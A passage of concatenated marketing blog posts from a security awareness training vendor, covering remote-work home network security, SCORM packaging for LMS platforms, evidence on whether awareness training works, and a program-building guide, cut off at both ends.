whether the router still gets updates, or if the default admin password was ever changed. A compromised router can intercept traffic before a VPN even starts. The fix is awareness of what "your network" actually contains. Our [home router security exercise](/exercises/home-router-security/) shows employees how to find every device on their network and lock down the router that everything else depends on. ### The VPN creates false confidence A VPN protects data in transit, but only when it is configured correctly and actually running. Split tunneling that leaks traffic, a VPN that silently drops, or a client left disconnected all reopen the gap the VPN was meant to close. Attackers also target the VPN itself, which is why perimeter-device exploitation rose so sharply. The [VPN usage and safety exercise](/exercises/vpn-usage-and-safety/) teaches staff to use the VPN without leaving the openings that make it pointless. ### Unpatched devices invite known exploits When IT cannot push updates to a personal laptop, patching becomes the employee's job, and most people defer it indefinitely. Every skipped update leaves a documented, publicly known vulnerability open. Since one in five breaches now starts with vulnerability exploitation, this is not a minor hygiene issue. The [OS updates and patching exercise](/exercises/os-updates-and-patching-basics/) shows employees the real attack paths a missed update opens, which makes the prompt easier to take seriously. ### Personal phones carry work access The same phone holds work email, multi-factor codes, and personal apps with broad permissions. A single SIM swap or malicious text can hand an attacker the keys. The [mobile device security exercise](/exercises/mobile-device-security/) walks through how one fake text turns into hours of stolen access, and our [mobile security training guide](/blog/mobile-security-training/) covers the wider mobile threat surface. ### Bluetooth leaks more than audio Always-on Bluetooth broadcasts device information and can expose pairing weaknesses in public spaces like cafes and coworking desks. The [safe Bluetooth practices exercise](/exercises/safe-bluetooth-practices/) shows what your headphones and peripherals reveal and how to limit it. ### Admin rights multiply the damage Remote workers often run as local administrators on their own machines for convenience. When that account is compromised, the attacker inherits full control instead of a limited foothold. The [privileged access basics exercise](/exercises/privileged-access-basics/) explains why admin accounts need separate handling, even on a personal laptop. ## How do you secure a home network for work? Securing a home setup comes down to a short, repeatable checklist that any employee can run without IT on site. The goal is to remove the easy wins an attacker counts on. 1. Change the router's default admin password and update its firmware. 2. Use a separate network or guest WiFi for work devices, away from smart-home gadgets. 3. Turn on automatic operating system and browser updates so patches install without a decision. 4. Run the company VPN for all work traffic and confirm it stays connected. 5. Use a standard user account for daily work, not a local administrator account. 6. Lock the screen on every break, since the household is not a trusted zone for company data. These steps are simple, but they only stick when employees understand why each one matters. Pairing the checklist with [phishing detection practice](/blog/phishing-detection/) closes the other half of the gap, since the network is only as safe as the links people click on it. ## What should remote work cybersecurity training cover? Effective training mirrors the remote worker's actual day rather than the office one. It assumes an unmanaged network, a shared device, and no colleague nearby to sanity-check a suspicious request. The content has to land where distributed work actually breaks: securing the router, confirming the VPN is up, taking a patch prompt seriously, and pausing on an unexpected text. Delivery matters as much as topic. Short modules spread across the year fit a remote schedule better than one annual block, and a finance lead at home needs different examples than a developer. The [security awareness catalogue](/catalogue/security-awareness/) holds the remote-relevant scenarios, and for teams rolling this out at scale, our [remote workforce security training program](/use-cases/remote-workforce-training/) lays out the sequencing, cadence, and knowledge checks. Account hygiene fits alongside it, covered in our [password security training guide](/blog/password-security-training/). ## Frequently asked questions ### What is the biggest cybersecurity risk for remote workers? There is no single biggest risk, but the most exploited gap is the combination of an unmanaged home network and unpatched personal devices. Attackers increasingly target VPNs and home routers as a first foothold, then use known, unpatched vulnerabilities to move further. The human element, such as clicking a phishing link with no colleague to flag it, compounds both. ### Does a VPN make remote work secure? A VPN encrypts data in transit, but it is not complete protection on its own. It only helps when it is configured correctly, kept running, and patched. A VPN does nothing against a phishing email, a malicious mobile app, or malware already on the device. Treat it as one layer, not the whole defense. ### How often should remote employees update their devices? Updates should install automatically and as soon as they are released. Since one in five breaches now begins with vulnerability exploitation (Verizon 2025 DBIR), the window between a patch shipping and an employee installing it is exactly when attackers strike. Turning on automatic updates removes the decision and closes that window. ### Is personal device use a security risk for remote work? Yes. Personal phones and laptops often lack centralized management, hold both work and personal data, and run apps with broad permissions. A compromised personal device that holds work credentials or multi-factor codes can give an attacker access to company systems. Clear policies and device-specific training reduce the exposure. ### What should be in a remote work security policy? A practical policy covers approved devices, mandatory VPN use, automatic updates, home network basics like changing the router password, screen locking, and how to report a suspected incident quickly. The policy works best when paired with short, scenario-based training so employees can apply each rule rather than just acknowledge it. ### How is remote work security training different from office training? Office training can assume a managed, monitored environment with IT support nearby. Remote training cannot. It has to teach employees to secure their own network, patch their own devices, and verify suspicious requests without a colleague to consult. The content shifts from "follow the office rules" to "you are the perimeter now." ## Bottom line Remote work did not create new attacks so much as remove the layers that used to absorb the old ones. The router, the VPN, the unpatched laptop, and the personal phone are now the front line, and the person using them makes the call. With vulnerability exploitation up 34% as an entry point and the average breach costing USD 4.44 million (IBM Cost of a Data Breach Report 2025), the home office is worth defending properly. Short, scenario-based practice is the control that scales to a distributed team. To see how the exercises map to a real remote workforce program, explore the [security awareness catalogue](/catalogue/security-awareness/) or [book a walkthrough](/contact-us/) with our team. ## Sources - [Verizon 2025 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/dbir/) - [IBM Cost of a Data Breach Report 2025](https://www.ibm.com/reports/data-breach) - [CISA: Telework and Securing Home Networks Guidance](https://www.cisa.gov/topics/cybersecurity-best-practices/home-network-security) --- ### SCORM Security Training: LMS Integration Source: https://ransomleak.com/blog/scorm-security-training/ Most security awareness programs die in the LMS. Not because the content is bad, but because someone bought training that doesn't talk to their platform. SCORM exists to solve that problem, and when it works, it works well. When it doesn't, you spend three weeks in a support ticket thread trying to figure out why completion data isn't syncing. This guide is for the person who needs to get SCORM security awareness training deployed, tracked, and reported on without turning it into a six-month IT project. ## What SCORM actually is (and isn't) SCORM stands for Sharable Content Object Reference Model. It's a set of technical standards that lets e-learning content play inside any compatible Learning Management System while passing data back and forth. Think of it as a universal adapter between training content and your LMS. For [security awareness training](/blog/security-awareness-training-guide/), SCORM means you can buy or build training modules once and deploy them across Cornerstone, Workday, Moodle, Canvas, or whatever platform your organization happens to use. The content tracks completions, quiz scores, time spent, and pass/fail status regardless of which LMS hosts it. What SCORM isn't: a magic bullet. It doesn't make bad content good. It doesn't guarantee your employees will pay attention. It's plumbing. Important plumbing, but still plumbing. ## Why does SCORM matter for security training? Security training has a unique set of problems that SCORM happens to solve well. **The multi-platform problem.** Large organizations frequently run different LMS platforms across regions or business units. A bank with operations in 30 countries might use SAP SuccessFactors in Europe, Cornerstone in North America, and Docebo in Asia. SCORM security awareness training packages deploy identically across all of them. Same content, same tracking, same reporting structure. **The compliance audit problem.** Auditors want proof that employees completed training. They want dates, scores, and completion records. SCORM's data model was built for exactly this. Every interaction gets logged in a standardized format that your compliance team can pull directly from the LMS. If you're running a [compliance training](/blog/compliance-training/) program, this structured tracking is what keeps auditors happy. **The vendor lock-in problem.** If your security training only works inside one vendor's proprietary platform, switching costs become enormous. SCORM packages are portable. You can move them between platforms without rebuilding anything. That's real negotiating power when your contract comes up for renewal. **The engagement measurement problem.** Knowing that someone opened a training module is different from knowing they actually engaged with it. SCORM tracks granular interaction data: which questions they got wrong, how long they spent on each section, whether they passed on the first attempt or the fourth. This data tells you whether your [security awareness training is actually effective](/blog/security-awareness-training-effectiveness/) or just checking a box. ## SCORM 1.2 vs SCORM 2004: which one to pick This decision matters more than most people realize. **SCORM 1.2** is the older standard, released in 2001. It's simpler, more widely supported, and works on virtually every LMS ever built. If your training is straightforward (linear modules, basic quizzes, completion tracking), SCORM 1.2 is the safer bet. Fewer things break. **SCORM 2004** (sometimes called SCORM CAM) added sequencing and navigation rules. This means the content can control the learning path: locking modules until prerequisites are completed, branching based on quiz performance, and enforcing specific progression sequences. If you're building [phishing simulation training](/blog/phishing-simulation-training/) with branching scenarios where the learner's choices determine what happens next, SCORM 2004 gives you the tools to do that. Here's the honest advice: unless you need branching or sequencing, use SCORM 1.2. It has fewer compatibility headaches, and most LMS platforms handle it reliably. SCORM 2004 sequencing support is inconsistent across platforms, and debugging sequencing issues is genuinely painful. For a deeper look at SCORM package options and how they integrate with various platforms, check our [LMS integration page](/lms-integration/). ## What makes SCORM security training actually work Packaging your content in SCORM format gets it into the LMS. That's step one. Making it work as training is a different challenge entirely. ### Scenario-based modules that feel real The best SCORM security training puts employees into realistic situations. Not "read this paragraph about phishing and answer a multiple-choice question," but interactive scenarios where they have to make decisions under uncertainty. A well-built [email security training](/blog/email-security-training/) module, for example, presents employees with an inbox full of messages. Some are legitimate. Some are [phishing attempts](/blog/phishing-detection/). Some are sophisticated [business email compromise](/blog/bec-training/) attacks. The employee has to triage them, and their choices determine the outcome. SCORM tracks every decision point. Which emails they flagged. Which ones they missed. How long they deliberated. This granular data is far more useful than a quiz score. ### Microlearning over marathon modules Nobody wants to sit through 90 minutes of security training. Break it into focused modules of 5 to 15 minutes each. SCORM's bookmark functionality means employees can pick up exactly where they left off, which makes shorter modules practical even for organizations with strict completion requirements. A phishing awareness program might look like this: one module on recognizing [social engineering attacks](/blog/social-engineering-attacks/), another on verifying sender authenticity, a third on reporting procedures, and a fourth on what to do if you've already clicked something you shouldn't have. Each is a separate SCORM package with its own tracking and completion status. ### Progressive difficulty that adapts SCORM 2004's sequencing capabilities allow you to build training paths that adapt to the learner. Someone who passes the basic phishing quiz gets routed to more sophisticated scenarios covering [whaling attacks](/blog/what-is-whaling-cybersecurity/) or [barrel phishing](/blog/barrel-phishing/). Someone who struggles stays with the fundamentals until they demonstrate competence. Even with SCORM 1.2, you can approximate this by structuring your LMS to require completion of prerequisite modules before unlocking advanced content. The logic lives in the LMS rather than the SCORM package, but the outcome is similar. ### Continuous reinforcement, not annual check-the-box The organizations that get the most from SCORM security awareness training deploy new modules regularly. Monthly micro-modules on current threats ([smishing](/blog/what-is-smishing-cybersecurity/), [vishing](/blog/vishing-awareness/), new social engineering techniques) keep security top of mind. SCORM makes this operationally simple because each module is a self-contained package that drops into the LMS independently. Compare this to annual compliance training where employees binge 4 hours of content in December and forget it all by February. Spaced repetition works. SCORM's modularity makes it practical. ## Open source LMS options for SCORM security training If you're evaluating where to host your SCORM content, open source platforms are worth considering. Just go in with realistic expectations. We have a [complete guide to open source LMS options](/blog/open-source-lms-security-training/), but here's the quick comparison for security training specifically. | Platform | SCORM 1.2 | SCORM 2004 | Self-hosted | Setup difficulty | |----------|-----------|------------|-------------|-----------------| | Moodle | Full | Partial | Yes | Moderate | | Canvas OSS | Via plugin | Via plugin | Yes | Complex | | Open edX | Via XBlock | Via XBlock | Yes | Complex | | Chamilo | Full | Full | Yes | Easy | | ILIAS | Full | Full | Yes | Moderate | **Moodle** is the most common choice. It handles SCORM 1.2 well. SCORM 2004 sequencing support is hit-or-miss, so test your specific packages before committing. Keep Moodle updated. Older versions have well-documented vulnerabilities, which is awkward for a platform hosting security training. **Canvas** (open source edition) needs an LTI integration or plugin for SCORM playback. If you're already on Canvas, it works fine. If you're choosing from scratch, this extra step is unnecessary complexity. **Open edX** uses a community-maintained SCORM XBlock. It's designed for large-scale deployments with thousands of learners. The tradeoff is a steeper setup curve. **Chamilo** is underrated. Native SCORM 1.2 and 2004 support without plugins. Simpler admin interface than Moodle. Smaller community, which means fewer resources when you hit a wall. ### The real cost of "free" LMS platforms Open source doesn't mean zero cost. Factor in server infrastructure ($50 to $500 per month depending on user count), system administration time, SCORM troubleshooting when packages behave differently than expected, and scaling for traffic spikes during compliance deadlines. For organizations without a dedicated LMS team, hosted platforms or security training providers with [built-in LMS capabilities](/blog/free-security-awareness-training/) often cost less when you account for staff time. ## How do you measure whether SCORM training is working? SCORM gives you data. The question is whether you're looking at the right data. **Completion rates** tell you about logistics, not learning. A 95% completion rate means your HR team sends effective reminder emails. It says nothing about whether employees can actually spot a phishing email. **Assessment scores** are better, but still limited. If your quiz is easy, high scores mean nothing. If it's hard, low scores might reflect poor content rather than poor knowledge. **The metrics that actually matter** are behavioral. After deploying SCORM training, measure these: - Click rates on simulated phishing campaigns (this is the real test) - Time-to-report for suspicious emails - Incident ticket volume for security questions (an increase is good, it means people are paying attention) - Reduction in credential compromise incidents SCORM tracks the training side. You need your security tools to track the behavior side. The gap between those two datasets tells you whether training is translating to action. ## Practical tips from someone who has done this **Test packages on your actual LMS before buying.** Every vendor will tell you their SCORM packages are compatible with everything. That's aspirational, not factual. Get a sample package, upload it to your LMS, and verify that completion data flows correctly. Pay special attention to bookmark/resume behavior and score reporting. **Name your packages consistently.** It sounds trivial, but when you have 40 SCORM packages in your LMS, "Module_v3_final_FINAL_revised" will make you want to quit. Use a naming convention from day one: topic, difficulty level, version number, date. **Keep SCORM package sizes reasonable.** Large packages (over 100MB) cause upload timeouts, slow load times, and frustrated employees. If your content includes video, host the video externally and reference it from the SCORM package rather than embedding it. **Plan for updates.** Security threats change. Your training needs to change with them. Structure your program as many small modules rather than one monolithic course. When [a new attack technique](/blog/cyber-security-activities-for-employees/) emerges, you replace one module instead of rebuilding the entire program. **Don't ignore mobile.** Remote employees increasingly complete training on phones and tablets. Test your SCORM packages on mobile browsers. Content that relies on hover states or small click targets will fail on touchscreens. ## Where is SCORM security training heading? The standard itself isn't changing much. SCORM 2004 4th Edition has been stable for years, and the industry is slowly moving toward xAPI (Experience API, also called Tin Can) for next-generation tracking. xAPI can track learning activities outside the LMS, like performance in a [cybersecurity awareness exercise](/blog/cybersecurity-awareness-exercises/) or actions taken during a live phishing simulation. For now, SCORM remains the universal standard. Every major LMS supports it. Every major content provider packages for it. If you're evaluating [KnowBe4 alternatives](/blog/knowbe4-alternatives/) or other security training platforms, SCORM compatibility should be a baseline requirement, not a differentiator. The real evolution is in content quality. Static slide-based SCORM modules are giving way to interactive 3D simulations, AI-driven adaptive scenarios, and gamified training that employees actually want to complete. The packaging standard matters less than what's inside the package. Build your training program around SCORM packages that deliver genuinely engaging [security awareness exercises](/blog/cybersecurity-awareness-exercises/). Get the technical plumbing right. Then focus on the part that actually reduces risk: making sure your employees can recognize and respond to threats when they encounter them for real. ## Frequently asked questions ### What is SCORM? SCORM (Sharable Content Object Reference Model) is a set of technical standards that let e-learning content talk to any compliant Learning Management System. A SCORM package is a ZIP file containing HTML, JavaScript, and metadata that any SCORM-compliant LMS can import and track. The standard covers launch, navigation, progress, and completion data between content and the LMS. ### What is the difference between SCORM 1.2 and SCORM 2004? SCORM 1.2 supports basic completion and score tracking. SCORM 2004 adds sequencing rules, multiple grading schemes, detailed interaction tracking, and richer error handling. Most enterprise LMS platforms support both. Choose 1.2 for maximum compatibility, 2004 for advanced tracking on modern systems. SCORM 2004 4th Edition is the current stable release. ### What LMS platforms work with SCORM security training? Virtually every enterprise LMS. Common examples include Moodle, Cornerstone OnDemand, Workday Learning, SAP SuccessFactors, Docebo, Canvas, Blackboard, TalentLMS, Absorb, LearnUpon, Litmos, and LearnDash. Most self-hosted and open-source LMS platforms also support SCORM. Test any new package in a staging environment before rolling out to production. ### How do you deploy SCORM security training? Download the SCORM package as a ZIP from your training vendor. In your LMS admin panel, create a new course and upload the ZIP. The LMS unpacks the content and reads the manifest. Assign the course to learners, set completion rules, and publish. Run a test enrollment to confirm progress and completion data flow correctly before rolling out organization-wide. ### Is SCORM still relevant in 2026? Yes. SCORM remains the de facto standard for LMS content exchange. xAPI (Tin Can) is gaining ground for tracking learning activities outside the LMS, but no major platform has dropped SCORM support. Any vendor selling security awareness training to enterprises needs SCORM compatibility. Emerging cmi5 is SCORM-to-xAPI bridge, useful for newer deployments. ### How do you measure whether SCORM training is working? Completion rates are a minimum, not a success metric. Track post-training phishing simulation click rates, report rates, time to report suspicious email, and quiz score trends across the workforce. Pair SCORM modules with live exercises. The gap between quiz scores and simulation performance is where real behavior change lives. --- *Want to see what good SCORM security training looks like? Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), or [Ransomware](/exercises/ransomware/) exercises. Browse our full [training catalogue](/catalogue/) for 60+ exercises that export as SCORM 1.2 and 2004 packages ready for your LMS.* --- ### Does Security Awareness Training Work? Source: https://ransomleak.com/blog/security-awareness-training-effectiveness/ "Does this actually work?" Every CISO asking for budget, every HR leader evaluating vendors, every CFO signing the purchase order lands on the same question. Security awareness training eats time, attention, and money. What does the organization get back? We dug through the research. The answer is messier than vendors want you to believe. ## The honest version Yes. Security awareness training works. But most of it doesn't. The research draws a hard line between active, [simulation-based training](/blog/phishing-simulation-training/) and the passive stuff (videos, slideshows, annual compliance modules). Active training produces real behavior change. Passive training produces completion certificates and not much else. This isn't a subtle difference. Organizations running simulation-based programs see phishing susceptibility drop 50-80%. Organizations relying on passive content see single-digit improvements that evaporate within weeks. Same budget line item. Wildly different outcomes. The most surprising thing in the data isn't that training works. It's how badly most organizations are doing it. ## What the research actually measured The studies worth paying attention to aren't surveys about whether people "feel more aware." They tracked what employees actually did when a phishing email showed up. ### Aberdeen Group (2019) Aberdeen followed 300+ organizations over two years, comparing those with formal security awareness programs against those without. The results were stark. Organizations with training experienced 70% fewer security incidents and averaged 5x ROI on program cost. But the fine print matters: the biggest gains came from [phishing simulations](/blog/phishing-simulation-training/), not video content. Organizations running video-only programs barely outperformed those with no program at all. ### Ponemon Institute (2022) Ponemon surveyed 1,200 IT and security professionals about training effectiveness and the results split cleanly by training type. Interactive simulations: 72% reported measurable improvement. Gamified training: 68%. Traditional e-learning: 23%. The gap gets worse over time. Annual-only training showed no lasting behavior change regardless of format. Generic content without role customization underperformed customized programs by 40%. If you're buying off-the-shelf content and running it once a year, you're essentially donating money. ### NIST research on federal agencies (2020) The National Institute of Standards and Technology published phishing susceptibility data across federal agencies. Before training, the average click rate on simulated phishing was 33%. The average report rate was 11%. After 12 months of simulation-based training, click rates dropped to 4% and report rates climbed to 67%. Here's the number that should bother every compliance-focused organization: agencies using only [compliance-based training](/blog/compliance-training/) saw click rates drop to 28% and recover to 31% within three months. They spent the money. They checked the box. They got almost nothing back. ### Carnegie Mellon and IBM Carnegie Mellon's research on psychological safety found that blame-free environments produced 3x higher incident reporting. IBM's 2023 Cost of a Data Breach report confirmed the financial side: 74% of breaches involve the human element, and organizations with trained workforces save an average of $232,867 per incident. Five sources, not fifty. But they point in the same direction, and the effect sizes are large enough to take seriously. ## Why does passive security training fail? The research keeps circling back to the same problem: knowledge and behavior are not the same thing. Employees who complete video-based training can ace a quiz about phishing indicators. But when a well-crafted phishing email lands during a stressful Tuesday afternoon, quiz knowledge doesn't activate. The employee is thinking about a deadline, not about training they watched three months ago. Recognizing a phishing email under pressure is a skill, like recognizing a counterfeit bill or spotting a pickpocket. Skills require repetition to develop. You wouldn't hand someone a pamphlet about swimming and push them into the ocean. But that's essentially what annual video training does for phishing defense. There's also the attention problem. Video completion rates look great because employees click through while doing other work. The LMS says they completed the module. Their brain was in a different meeting. And memory decay is brutal. Without reinforcement, training content fades within 30-90 days. Annual training creates a brief spike of awareness followed by 11 months of open season. ## What actually improves employee security behavior ### Simulated phishing (50-80% improvement) Every major study lands here. [Phishing simulation](/blog/phishing-simulation-training/) is the single most effective intervention. Not because it's fancy, but because it creates real practice recognizing real-looking threats with immediate feedback when you get it wrong. Monthly simulations at minimum. Quarterly is not enough. Progressive difficulty as employees improve. Non-punitive feedback at the moment of failure. And critically, track reporting metrics, not just click avoidance. An employee who doesn't click but also doesn't report has only protected themselves. An employee who reports protects the whole organization. More on this in our [cybersecurity exercises breakdown](/blog/cybersecurity-awareness-exercises/). ### Role-based customization (40% better outcomes) Generic training wastes everyone's time. Your finance team needs BEC recognition and wire transfer verification scenarios. Your executives need whaling awareness and authority exploitation recognition. Your IT staff need social engineering defense and privilege management practice. Ponemon's data showed customized content outperforms generic by 40%. That's not marginal. If you're running the same [security activities](/blog/cyber-security-activities-for-employees/) for the marketing intern and the CFO, you're leaving most of your risk unaddressed. ### Continuous reinforcement Even good training decays. The research shows awareness returns to baseline within 90 days without reinforcement. A single annual event, no matter how well designed, is a temporary fix. Effective programs layer touchpoints across the year. Monthly phishing simulations. Short weekly security reminders. Quarterly scenario-based exercises. Annual comprehensive refreshers. This isn't about more training hours. It's about keeping the neural pathways active. Our [security awareness training guide](/blog/security-awareness-training-guide/) covers implementation cadence in detail. ### Psychological safety This one surprised us. Organizations that punish employees for failing simulations actually get worse outcomes over time. Employees learn to hide mistakes instead of reporting them. They share simulation warnings with each other. They game the system. Carnegie Mellon found that blame-free environments produced 3x higher incident reporting. Since early detection limits breach damage, a [human firewall culture](/blog/human-firewall-training/) that encourages reporting directly reduces the cost of security incidents. ## How do you calculate security training ROI? This is the section that matters when you're sitting across from the CFO. Skip the abstractions. Here are the numbers. ### What breaches actually cost IBM's 2023 Cost of a Data Breach report is the standard reference. Average breach cost: $4.45 million. Breaches involving the human element: 74%. Average cost reduction with a trained workforce: $232,867. ### What training actually costs For a typical enterprise program with simulation capabilities: Per-employee annual cost runs $15-50, depending on platform and features. Administrative time is 2-4 hours monthly for program management. Employee time is 2-4 hours annually for training completion. ### The math for a 1,000-person organization Annual training investment: $15,000-50,000. Expected breach probability reduction: 50-70%. Expected cost avoidance based on breach probability and cost data: $1.6-2.3 million. That's 30-150x return on investment. But only if the program includes active elements like phishing simulation. Passive-only programs don't improve behavior enough to justify the cost. If your current vendor can't show you behavior change data (not completion data), you might be in the passive category without realizing it. Automation-first platforms position themselves as the answer here; our [RansomLeak vs Phished comparison](/blog/ransomleak-vs-phished/) breaks down what full automation actually delivers versus what it leaves on the table. ## What doesn't work ### Compliance-only programs Training designed to check regulatory boxes without changing behavior produces high completion rates (the only metric anyone tracks), no measurable behavior change, false confidence, and continued vulnerability to basic attacks. These programs exist to satisfy auditors, not to protect organizations. ### Punitive approaches "Three strikes and you're fired" policies for simulation failures look tough on paper. In practice, they produce reduced reporting of real incidents, gaming behavior, resentment toward the security function, and zero improvement in actual threat recognition. You're training employees to fear the security team, not the attackers. ### Annual-only training The research is unanimous here. Annual training produces a temporary awareness spike that decays within weeks. Organizations running annual programs see near-zero sustained improvement. It's the security equivalent of going to the gym every January 2nd. ### Overly technical content Training focused on how attacks work technically (packet inspection, malware analysis) misses the point entirely. Employees need to recognize threats, not reverse-engineer them. Save the technical deep dives for the security team. ## What metrics should you track for training effectiveness? ### Primary indicators | Metric | Poor | Average | Good | Excellent | |--------|------|---------|------|-----------| | Phishing click rate | >25% | 15-25% | 5-15% | <5% | | Report rate | <10% | 10-30% | 30-60% | >60% | | Time to report | >24h | 4-24h | 1-4h | <1h | ### Secondary indicators Trend direction matters more than any single snapshot. A 20% click rate that's been dropping steadily for six months tells a better story than a 10% rate that's been climbing. Also track variance between departments, response to new attack types, and overall security incident volume. ### Misleading metrics Training completion rate measures compliance, not effectiveness. Quiz scores measure recall, not recognition under pressure. Satisfaction surveys tell you employees liked the training, not that it worked. If these are the only numbers your vendor reports, ask harder questions. ## Getting started (or fixing what you have) ### If you're starting from zero Run a baseline phishing simulation before any training. You need a starting point, or you'll never prove improvement. Then implement monthly simulations with immediate feedback, add role-specific content for your highest-risk groups, and track click rates plus report rates monthly. Aim for 50% improvement in year one. If your vendor can't commit to that target, explore [free training options](/blog/free-security-awareness-training/) as a starting point and upgrade once you have budget justification. ### If your current program isn't delivering The likely problem is one of three things: too passive, too infrequent, or too generic. Audit your current program against the research benchmarks above. If you're missing a simulation component, add one. If you're running quarterly or annual, increase to monthly. If everyone gets the same content regardless of role, customize. ### Budget conversations When requesting investment, frame everything around breach probability reduction, not compliance checking. Lead with behavior change metrics, not completion rates. Bring peer organization benchmarks. Compare cost per employee to breach cost exposure. The CFO doesn't care about awareness. The CFO cares about risk-adjusted cost. ## The bottom line Most security awareness training programs fail. Not because the concept is flawed, but because the execution is lazy. Video modules and annual quizzes exist to satisfy a compliance requirement, not to change how people behave when a phishing email hits their inbox. The programs that work share three traits: they create practice instead of lectures, they run continuously instead of annually, and they customize instead of genericize. The research on this is not ambiguous. If your training program is producing completion certificates but your phishing click rates haven't budged, you don't have a training problem. You have a *training program* problem. The fix isn't more of the same. It's a fundamentally different approach. --- *See the difference between passive content and active training. Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), or [Business Email Compromise](/exercises/business-email-compromise/) exercises and experience simulation-based learning firsthand. Browse our full [training catalogue](/catalogue/) for 60+ interactive exercises.* --- ### Security Awareness Training Guide (2026) Source: https://ransomleak.com/blog/security-awareness-training-guide/ Your firewall is updated. Your antivirus is running. Your intrusion detection system is active. Yet 82% of data breaches still involve the human element, according to the Verizon 2023 Data Breach Investigations Report. Technology alone cannot protect your organization. The person who clicks a convincing [phishing email](/blog/phishing-detection/), shares credentials over the phone, or plugs in a mysterious USB drive can bypass millions of dollars in security infrastructure in seconds. Security awareness training has become non-negotiable for organizations serious about cybersecurity. But not all training works the same. The difference between checkbox compliance training and programs that actually change behavior is the difference between vulnerability and resilience. ## What makes security awareness training effective? Effective security awareness training does three things traditional approaches fail to do. First, it creates muscle memory, not just knowledge. Watching a video about phishing is like watching a video about swimming. You understand the concept, but you'll still drown. [Interactive simulations](/blog/cybersecurity-awareness-exercises/) where employees practice identifying threats in realistic scenarios build the reflexive caution that protects organizations. Second, it speaks to emotions, not just intellect. Humans are emotional decision-makers who rationalize afterward. Training that creates genuine concern for consequences, both personal and professional, motivates vigilance in ways that policy documents never will. Third, it respects adult learning principles. Adults learn differently than children. They need relevance to their daily work, respect for their existing knowledge, and practical application opportunities. Training that treats employees like students in detention creates resentment, not results. ## What is the ROI of security awareness training? Skeptical executives ask: "Is security awareness training worth the investment?" The data is clear. | Metric | Without training | With effective training | |--------|------------------|------------------------| | Phishing click rate | 25-35% | 2-5% | | Incident reporting rate | ~10% | 70%+ | | Average breach cost (IBM, 2024) | $4.88 million | Reduced by 35-50% | | Recovery time | Weeks-months | Days | A single prevented breach often pays for years of training. Organizations with strong security cultures experience faster threat detection, better incident response, and improved [compliance postures](/blog/compliance-training/). For a deeper look at the numbers, read our breakdown of [security awareness training effectiveness](/blog/security-awareness-training-effectiveness/). ## What are the core components of security awareness training? ### Phishing simulation exercises Simulated [phishing campaigns](/blog/phishing-simulation-training/) remain the most effective way to measure and improve employee vigilance. The progression matters here: Start with a baseline assessment. Send realistic phishing emails without warning to establish current vulnerability. Follow that with an educational intervention where you provide immediate, specific feedback when employees click malicious links. Then increase difficulty gradually as employees improve. And always celebrate reporters, not just non-clickers. The goal isn't catching people failing. It's building instinctive caution through repeated practice. ### Social engineering defense Beyond email, employees face threats through multiple channels. [Vishing attacks](/blog/vishing-awareness/) use phone calls where attackers impersonate IT support, executives, or vendors. [Smishing](/blog/what-is-smishing-cybersecurity/) delivers urgent requests via text that appear to come from trusted sources. In-person pretexting sends social engineers posing as contractors, delivery personnel, or new employees. Our full guide on [social engineering attacks](/blog/social-engineering-attacks/) covers each vector in detail. Good training covers recognition techniques for every channel and establishes verification protocols that become second nature. ### Data handling and privacy Employees must understand what constitutes sensitive information in your organization, the proper classification and handling procedures, secure methods for sharing information internally and externally, and the regulatory requirements (GDPR, HIPAA, PCI-DSS) relevant to their role. ### Incident response awareness When something goes wrong, speed matters. Every employee should know what constitutes a security incident, who to contact immediately, what actions to take (and avoid) to preserve evidence, and that reporting without retaliation is expected. ## How do you build a security awareness program that works? ### Phase 1: assessment and planning (weeks 1-4) Before launching training, understand your current state: 1. Run a risk assessment to identify which threats pose the greatest danger to your organization 2. Conduct unannounced phishing simulations to measure your baseline 3. Analyze roles to determine who needs specialized training (finance, IT, executives) 4. Survey the culture to understand current security attitudes and potential resistance ### Phase 2: foundation training (weeks 5-8) Deploy initial training focused on universal security principles everyone needs, role-specific scenarios relevant to daily work, and clear, memorable guidance they can apply immediately. Keep modules short. Fifteen to twenty minutes maximum. Attention spans are finite, and completion rates matter. ### Phase 3: continuous reinforcement (ongoing) Security awareness isn't an event. It's a process. Run monthly phishing simulations with varied tactics and difficulty. Deliver quarterly focused training on emerging threats. Send real-time alerts when threats affect your industry. Build recognition programs that celebrate [security champions](/blog/human-firewall-training/). ### Phase 4: measurement and optimization Track the metrics that matter. Leading indicators include training completion, simulation performance, and time to report. Lagging indicators include incident rates, breach costs, and audit findings. Use data to identify struggling departments, ineffective modules, and emerging vulnerabilities. ## What mistakes doom security awareness programs? ### Mistake 1: annual checkbox training Completing a 60-minute course once per year does not create lasting behavior change. It creates eye-rolling compliance theater that employees endure and forget. ### Mistake 2: punishment-focused culture Publicly shaming employees who click phishing emails guarantees one thing: they'll never report another incident. Fear-based programs reduce reporting without reducing vulnerability. ### Mistake 3: one-size-fits-all content A finance team processing wire transfers faces different threats than engineers managing production systems. A [BEC attack](/blog/bec-training/) scenario means nothing to someone who never handles invoices. Generic training wastes everyone's time on irrelevant scenarios. ### Mistake 4: ignoring the executive suite C-level executives are prime targets for [whaling attacks](/blog/what-is-whaling-cybersecurity/), yet often exempt themselves from training. Their access and authority make their compromise catastrophic. ### Mistake 5: no measurement If you can't demonstrate improvement, you can't justify investment. Track metrics from day one. ## The role of interactive simulations Traditional security training relies on passive content consumption: videos, slideshows, and policy documents. The problem? Passive learning doesn't translate to active vigilance. Interactive simulations change this equation. When employees must analyze a realistic phishing email and decide whether to click, respond to a vishing call in real-time, or navigate a scenario where they've accidentally clicked something suspicious, they develop practical skills, not just theoretical knowledge. The difference is measurable. Organizations using simulation-based training see 3-5x greater improvement in phishing resistance compared to video-only approaches. [Try a few yourself](/exercises/phishing/) to see how it feels from the employee side. ## How do you select the right training platform? When evaluating platforms, prioritize these areas. ### Must-have features Look for [phishing simulation capability](/blog/phishing-simulation-training/) with customizable templates, [SCORM compliance](/blog/scorm-security-training/) for LMS integration, detailed analytics tracking individual and group performance, role-based training paths for different audiences, and [mobile compatibility](/blog/mobile-security-training/) for distributed workforces. ### Differentiators to consider The real separators are interactive simulations versus passive video content, gamification elements that drive engagement, real-time threat intelligence integration, white-labeling options for consistent branding, and multi-language support for global organizations. If you're comparing vendors, our guide to [KnowBe4 alternatives](/blog/knowbe4-alternatives/) breaks down the major players. ### Red flags to avoid Stay away from vendors who can't demonstrate measurable outcomes, platforms requiring massive IT investment to deploy, content that hasn't been updated in the past year, and overly complex solutions that reduce adoption. ## Building a 